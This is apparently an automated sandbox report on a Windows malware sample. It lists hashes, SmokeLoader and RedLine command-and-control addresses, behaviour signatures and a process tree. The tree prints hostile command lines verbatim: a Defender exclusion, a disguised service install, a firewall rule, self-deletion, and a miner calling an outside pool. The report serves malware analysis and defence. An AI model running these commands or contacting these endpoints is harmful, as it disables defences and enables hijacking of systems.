Analysis

  • max time kernel
    153s
  • max time network
    197s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29-09-2021 15:04

General

  • Target

    438215ec552fef4a43a10c331d658c04.exe

  • Size

    128KB

  • MD5

    438215ec552fef4a43a10c331d658c04

  • SHA1

    a4941168e1269993b195b84fa272870c58bd6c10

  • SHA256

    e01749cfd587ae7029247ef900df2eb0e89e2fc594ca665d460a73bfa9564647

  • SHA512

    a3da5a1969e2166e3c0091c749f171c7c8ac915fe12873fce81af7d4f3fc5fab609f3b5cefbafde4b617fa4c64745b7a7e50d6194acfb1850c13b8e13accf302

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

C2

92.246.89.6:38437

Extracted

Family

redline

Botnet

777777

C2

193.56.146.60:18243

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 7 IoCs
  • XMRig Miner Payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 11 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 10 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe
    "C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe
      "C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1968
  • C:\Users\Admin\AppData\Local\Temp\67B7.exe
    C:\Users\Admin\AppData\Local\Temp\67B7.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Users\Admin\AppData\Local\Temp\67B7.exe
      C:\Users\Admin\AppData\Local\Temp\67B7.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1548
  • C:\Users\Admin\AppData\Local\Temp\706F.exe
    C:\Users\Admin\AppData\Local\Temp\706F.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Users\Admin\AppData\Local\Temp\706F.exe
      C:\Users\Admin\AppData\Local\Temp\706F.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:360
  • C:\Users\Admin\AppData\Local\Temp\9A3D.exe
    C:\Users\Admin\AppData\Local\Temp\9A3D.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
      2⤵
        PID:1156
        • C:\Windows\SysWOW64\chcp.com
          chcp 1251
          3⤵
            PID:1688
        • C:\Users\Admin\AppData\Roaming\9A3D.exe
          "C:\Users\Admin\AppData\Roaming\9A3D.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:960
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
            3⤵
              PID:1312
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                4⤵
                  PID:1096
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\9A3D.exe
                3⤵
                  PID:872
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 0
                    4⤵
                      PID:1840
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 9A3D.exe
                  2⤵
                    PID:1472
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:1028
                  • C:\Users\Admin\AppData\Local\Temp\AAC2.exe
                    C:\Users\Admin\AppData\Local\Temp\AAC2.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1160
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\slvrezfq\
                      2⤵
                        PID:1528
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knlgahrb.exe" C:\Windows\SysWOW64\slvrezfq\
                        2⤵
                          PID:784
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create slvrezfq binPath= "C:\Windows\SysWOW64\slvrezfq\knlgahrb.exe /d\"C:\Users\Admin\AppData\Local\Temp\AAC2.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:108
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description slvrezfq "wifi internet conection"
                            2⤵
                              PID:1644
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start slvrezfq
                              2⤵
                                PID:1044
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:1300
                              • C:\Users\Admin\AppData\Local\Temp\B3A9.exe
                                C:\Users\Admin\AppData\Local\Temp\B3A9.exe
                                1⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Windows security modification
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of SetThreadContext
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1576
                                • C:\Users\Admin\AppData\Local\Temp\32e160cf-07c9-4165-990e-9abf6e9df7fd\AdvancedRun.exe
                                  "C:\Users\Admin\AppData\Local\Temp\32e160cf-07c9-4165-990e-9abf6e9df7fd\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\32e160cf-07c9-4165-990e-9abf6e9df7fd\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                  2⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1632
                                  • C:\Users\Admin\AppData\Local\Temp\32e160cf-07c9-4165-990e-9abf6e9df7fd\AdvancedRun.exe
                                    "C:\Users\Admin\AppData\Local\Temp\32e160cf-07c9-4165-990e-9abf6e9df7fd\AdvancedRun.exe" /SpecialRun 4101d8 1632
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1336
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B3A9.exe" -Force
                                  2⤵
                                    PID:1428
                                  • C:\Users\Admin\AppData\Local\Temp\B3A9.exe
                                    "C:\Users\Admin\AppData\Local\Temp\B3A9.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    PID:1624
                                • C:\Windows\SysWOW64\slvrezfq\knlgahrb.exe
                                  C:\Windows\SysWOW64\slvrezfq\knlgahrb.exe /d"C:\Users\Admin\AppData\Local\Temp\AAC2.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:1844
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe
                                    2⤵
                                    • Drops file in System32 directory
                                    • Suspicious use of SetThreadContext
                                    • Modifies data under HKEY_USERS
                                    PID:1332
                                    • C:\Windows\SysWOW64\svchost.exe
                                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                      3⤵
                                        PID:296
                                  • C:\Users\Admin\AppData\Local\Temp\D00F.exe
                                    C:\Users\Admin\AppData\Local\Temp\D00F.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Enumerates connected drives
                                    • Modifies system certificate store
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:656
                                    • C:\Windows\SysWOW64\msiexec.exe
                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management 1.7.3.2\install\97C955F\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\D00F.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632934996 " AI_EUIMSI=""
                                      2⤵
                                      • Blocklisted process makes network request
                                      • Enumerates connected drives
                                      • Suspicious use of FindShellTrayWindow
                                      PID:1828
                                  • C:\Windows\system32\msiexec.exe
                                    C:\Windows\system32\msiexec.exe /V
                                    1⤵
                                    • Blocklisted process makes network request
                                    • Enumerates connected drives
                                    • Drops file in Windows directory
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:520
                                    • C:\Windows\syswow64\MsiExec.exe
                                      C:\Windows\syswow64\MsiExec.exe -Embedding 71A81524DCF556F415C7639F1B99CEDF C
                                      2⤵
                                      • Loads dropped DLL
                                      PID:752
                                    • C:\Windows\syswow64\MsiExec.exe
                                      C:\Windows\syswow64\MsiExec.exe -Embedding D01D2BB1D90EE122BBE9274618080326
                                      2⤵
                                      • Loads dropped DLL
                                      PID:892
                                    • C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe
                                      "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Drops startup file
                                      • Loads dropped DLL
                                      PID:1800

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • memory/360-87-0x00000000049F0000-0x00000000049F1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/360-81-0x0000000000400000-0x0000000000422000-memory.dmp

                                    Filesize

                                    136KB

                                  • memory/360-84-0x0000000000400000-0x0000000000422000-memory.dmp

                                    Filesize

                                    136KB

                                  • memory/520-155-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/764-95-0x0000000004B70000-0x0000000004B71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/764-91-0x0000000000F10000-0x0000000000F11000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/764-93-0x0000000000410000-0x0000000000461000-memory.dmp

                                    Filesize

                                    324KB

                                  • memory/764-94-0x00000000002A0000-0x00000000002A1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/960-119-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/960-128-0x0000000004940000-0x0000000004941000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1160-108-0x0000000000400000-0x0000000000431000-memory.dmp

                                    Filesize

                                    196KB

                                  • memory/1160-107-0x0000000000220000-0x0000000000233000-memory.dmp

                                    Filesize

                                    76KB

                                  • memory/1196-64-0x0000000001C80000-0x0000000001C95000-memory.dmp

                                    Filesize

                                    84KB

                                  • memory/1196-65-0x0000000002A70000-0x0000000002A80000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1196-86-0x0000000003B20000-0x0000000003B35000-memory.dmp

                                    Filesize

                                    84KB

                                  • memory/1272-63-0x00000000001B0000-0x00000000001B9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/1332-151-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                    Filesize

                                    84KB

                                  • memory/1428-168-0x0000000004862000-0x0000000004863000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-213-0x00000000055D0000-0x00000000055D1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-181-0x0000000005250000-0x0000000005251000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-212-0x0000000006240000-0x0000000006241000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-176-0x0000000002590000-0x0000000002591000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-205-0x00000000061B0000-0x00000000061B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-167-0x0000000004860000-0x0000000004861000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-165-0x00000000048A0000-0x00000000048A1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-193-0x0000000005670000-0x0000000005671000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-164-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-201-0x0000000005700000-0x0000000005701000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1428-197-0x000000007EF30000-0x000000007EF31000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1576-109-0x0000000004E00000-0x0000000004E01000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1576-101-0x0000000001180000-0x0000000001181000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1576-130-0x0000000004EB0000-0x0000000004F29000-memory.dmp

                                    Filesize

                                    484KB

                                  • memory/1624-162-0x0000000000400000-0x0000000000422000-memory.dmp

                                    Filesize

                                    136KB

                                  • memory/1624-166-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1624-159-0x0000000000400000-0x0000000000422000-memory.dmp

                                    Filesize

                                    136KB

                                  • memory/1756-77-0x00000000011B0000-0x00000000011B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1756-80-0x0000000000530000-0x0000000000531000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1844-154-0x0000000000400000-0x0000000000431000-memory.dmp

                                    Filesize

                                    196KB

                                  • memory/1968-62-0x0000000075B31000-0x0000000075B33000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1968-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                    Filesize

                                    36KB